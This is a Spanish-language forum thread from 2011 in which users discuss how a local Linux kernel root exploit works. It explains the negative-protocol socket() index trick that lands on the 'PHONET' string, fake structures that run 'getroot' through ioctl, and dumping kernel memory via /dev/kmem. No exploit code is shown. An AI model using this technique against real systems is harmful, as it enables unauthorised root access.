Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 8 Marzo 2011, 14:08 pm
Mmmm entonces si no he entendido mal, esto es lo que se supone que hace:

1. Se le pasa a la función socket el protocolo -70
2. Esto hace que proto_tab[protocol] apunte a direcciones más baja:
Código:
0xf8??????     proto {
                               .....
                               .....
                 
                                char name[32];  <-- proto_tab[-70] apuntaria aquí
                              }

0xf8??????     proto_tab{

                                   }

3. La varible "name" tiene valor PHONET, que transformado a Hex y cogiendo 4 bytes (PHON) es 0x4e4f4850

4. En esta dirección en memoria es donde tenemos nuestras estructuras falsas creadas

5. Al hacer la llamada ioctl hacemos que se ejecute el "getroot" de nuestra estructura

¿El exploit funciona como digo?



Exactamente! Mejor explicado imposible.


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 8 Marzo 2011, 17:54 pm
Otra cosa, como no he visto en ningún lado que la version del kernel 2.6.37 no sea vulnerable, voy a intentar a ver si consigo hacer andar el exploit...

Citar
Si queres sacar exactamente el offset correcto no se me ocurre otra que dumpear la memoria virtual del kernel.
¿Cómo podría hacer esto que dices para revisar la memoria y localizar la varible "char name" en tiempo de ejecución?

Gracias!


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 9 Marzo 2011, 09:04 am
Tendrias q hacerte un driver o modulo. Hay un driver que viene con el kernel que se llama mem y lo podes acceder desde /dev/mem, con ese podes leer direcciones fisicas de memoria. Ese mismo driver, dependiendo de como se compilo, te permite leer tambien la memoria virtual del kernel accediendolo a traves de /dev/kmem, yo no lo tengo.
Si tenes kmem, fijate que aca tenes un ejemplo de uso de /dev/mem, kmem seria maso lo mismo
ftp://ftp.buici.com/pub/arm/devmem/devmem2.c


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 9 Marzo 2011, 23:27 pm
Hola!

Yo tampoco tengo el dispositivo /dev/kmem.... la verdad que ver la memoria real no me sirve de mucho.....
Tengo una duda existencial (que desde luego no iria en este foro), cuando con el "gdb" ves todas las direcciones que salen, tanto la de las instrucciones como las de la pila, esas direcciones son virtuales ¿verdad? y siendo esto cierto, desde 0x00000000 hasta 0xFFFFFFFF ¿sería todo el espacio de direcciones virtuales del proceso?
Volviendo al tema, voy a seguir a ver si encuentro otra manera de hacer dump de la memoria virtual.

Salu2


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: Ivanchuk en 10 Marzo 2011, 10:26 am
cuando con el "gdb" ves todas las direcciones que salen, tanto la de las instrucciones como las de la pila, esas direcciones son virtuales ¿verdad? y siendo esto cierto, desde 0x00000000 hasta 0xFFFFFFFF ¿sería todo el espacio de direcciones virtuales del proceso?
Desde gdb ves las direcciones virtuales del proceso si, pero el espacio de dirs no va desde la 0 hasta la 0xffffffff. O sea, en realidad cada proceso tiene ciertos espacios asignados, alguno de ellos estan definidos en el elf (VMA)
Código
  1. objdump -h /bin/ls

En /proc/<pid>/maps podes ver el mapeo de memoria asignado a cada proceso que tenes corriendo.


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: andres_5 en 17 Marzo 2011, 20:12 pm
Hola, al final me he quedado sin poder probar el exploit, me hacia ilusion, porque aunque he escuchado mucho sobre los exploits, nunca he tenido la posiblidad de usar uno, si alguien puede echarme un cable lo agradeceria.
Saludos

yo sigo sin hacerlo funcionar, alguna idea, mi kernel es supuestamente vulnerable, a veces cuando lo ejecuto me muestra los mismo pero al final me pone terminado(killed) y si luego lo vuelvo a ejecutar, me hace un bloqueo general del PC.
Si sabeis algo que pueda probar, lo agradeceria.
Saludos


Título: Re: [Videotuto] Exploit local linux 32 y 64 bits
Publicado por: M3st4ng en 17 Marzo 2011, 23:39 pm
Hola!

Muchas veces para hacer funcionar un exploit hay que "pegarse" con él. Revisa todo lo que ha comentado Ivan en este hilo para entender lo que debe hacer... A priori tu kernel es vulnerable pero puede haber varios factores que puedan hacer que no lo sea...

Por otro lado, Ivan, compile de nuevo el kernel 2.6.37 para habilitar el dispositivo /proc/kmem. He intentado usar el código que me paseste, pero me da error de IO:

Código:
./a.out 0xbffff65e
/dev/kmem opened.
Error at line 81, file vuelca_memoria.c (5) [Input/output error]

He intentado investigar por la red, y no he visto nada claro sobre el problema...
Ultimamente estoy super liado con el trabajo, si puedo te contesto tan rapido como pueda.

Salu2